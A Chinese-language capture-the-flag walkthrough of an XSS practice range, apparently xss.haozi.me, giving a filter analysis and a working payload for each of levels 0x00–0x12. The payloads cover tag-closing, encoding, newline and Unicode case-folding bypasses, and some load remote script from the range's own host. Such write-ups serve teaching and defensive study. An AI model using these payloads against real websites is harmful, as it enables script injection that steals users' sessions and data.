xss靶场通关
xss靶场通关
0x00
没有任何过滤,直接用最基本的payload打就行
1 | <script>alert(1)</script> |
0x01
审计代码
1 | function render (input) { |
分析:<textarea>标签内为文本域,不能单纯的在中间插入<script>标签,因为标签会被解析成文本
所以我们首先先闭合<textarea>标签,然后插入xss语句。
payload如下:
1 | </textarea><script>alert(1)</script><textarea> |
0x02
审计代码
1 | function render (input) { |
分析:input是我们的输入,先闭合双引号和标签(这里的单引号不闭合也可以,不闭合它就会和最前面的闭合),后面的>‘不用闭合,不会被解析。然后插入xss语句。
payload如下:
1 | "><script>alert(1)</script> |
0x03
审计代码
1 | function render (input) { |
分析:正则匹配过滤掉了小括号,可以使用反引号或html实体编码绕过
payload如下:
1 | <script>alert`1`</script> |
0x04
审计代码
1 | function render (input) { |
分析:过滤了反引号和中括号小括号,我们还可以编码绕过
payload如下:
1 | <img src='' onerror='alert(1)'> |
0x05
审计代码
1 | function render (input) { |
分析:本题过滤了后面的一段注释符,并且需要闭合掉前面的一段注释符,可以使用–!>来闭合掉前面的注释符
payload如下:
1 | --!><img src='' onerror='alert(1)'> |
0x06
审计代码
1 | function render (input) { |
分析:正则过滤了on开头和auto开头的以=结束字符和尖括号>,但是没有检测换行
payload如下:
1 | onmouseover |
0x07
审计代码
1 | function render (input) { |
分析:正则匹配了所有的html语法标签,只要有<>闭合,就会被过滤,可以利⽤html的特性,单尖括号不闭合
payload如下:
1 | <img src='' onerror='alert(1)' |
0x08
审计代码
1 | function render (src) { |
分析:正则过滤了</style>,但是没过滤插入空格和换行,我们可以通过空格或换行绕过
payload如下:
1 | </style > |
0x09
审计代码
1 | function render (input) { |
分析:正则说的是输入的内容必须以 https://www.segmentfault.com
开头,再闭合前面的script标签,后面就可以随意插入恶意脚本,最后还要把后面的内容注释掉
payload如下:
1 | https://www.segmentfault.com"></script><script>alert(1)</script>// |
0x0A
审计代码
1 | function render (input) { |
分析:这关也是必须以 https://www.segmentfault.com
开头,但是加了很多过滤,尖括号被过滤了,不能和上面一样闭合。这里思路是远程引用js代码,用@重定向来导入js,js里面是 alert(1);这里可以直接使用官方给出的js代码 j.js
payload如下:
1 | https://www.segmentfault.com@xss.haozi.me/j.js |
0X0B
审计代码
1 | function render (input) { |
分析:此关卡是将我们的输入转化为大写,在HTML语句中不区分大小写,所以说能识别到标签,但是想让js语
句解析,必须要用小写,因此我们可以用html编码绕过他的大写。当然也可以使用上文所讲用远程引入js代码的方法绕过它的过滤
payload如下:
1 | <img src="" onerror="alert(1)"> |
0x0C
审计代码
1 | function render (input) { |
分析:过滤了script标签,同时和上关一样将我们的输入转化为大写,同样可以用html编码绕过
payload如下:
1 | <img src="" onerror="alert(1)"> |
0x0D
审计代码
1 | function render (input) { |
分析:先用换行绕过注释符,本身已经在script标签里,所以直接可以alert(1),但是后面还有东西,再换行并用注释符–>注释掉
payload如下:
1 |
|
0x0E
审计代码
1 | function render (input) { |
分析:此关的正则匹配是<加上任何一个英文字母,并且将所输入的内容变为大写
这里补充一个小知识点,拉丁字母ſ(unicode编码为U+17F)大写后为S,可以使用它来绕过过滤
payload如下:
1 | <ſcript src="https://xss.haozi.me/j.js"></script> |
0x0F
审计代码
1 | function render (input) { |
分析:此关将输入一些特定字符替换为html编码,但是html编码会在标签内自动转换,所以说仅需要闭合括号即可
payload如下:
1 | ');alert(1);(' |
0x10
审计代码
1 | function render (input) { |
分析:此题仅需要补充完等号后面的东西,然后可以直接alert
payload如下:
1 | 1; alert(1); |
0x11
审计代码
1 | // from alf.nu |
分析:正则又是过滤了很多字符,看似复杂,其实就是将⼀些字符转义了而已,直接闭合引号和括号然后插⼊语句即可
payload如下:
1 | ");alert(1)(" |
0x12
审计代码
1 | // from alf.nu |
分析:和上一关类似,此关把双引号替换为转义的双引号,只用在前面加上转义符来转义掉它替换后的转义符,后面用注释符注释
payload如下:
1 | \");alert(1)// |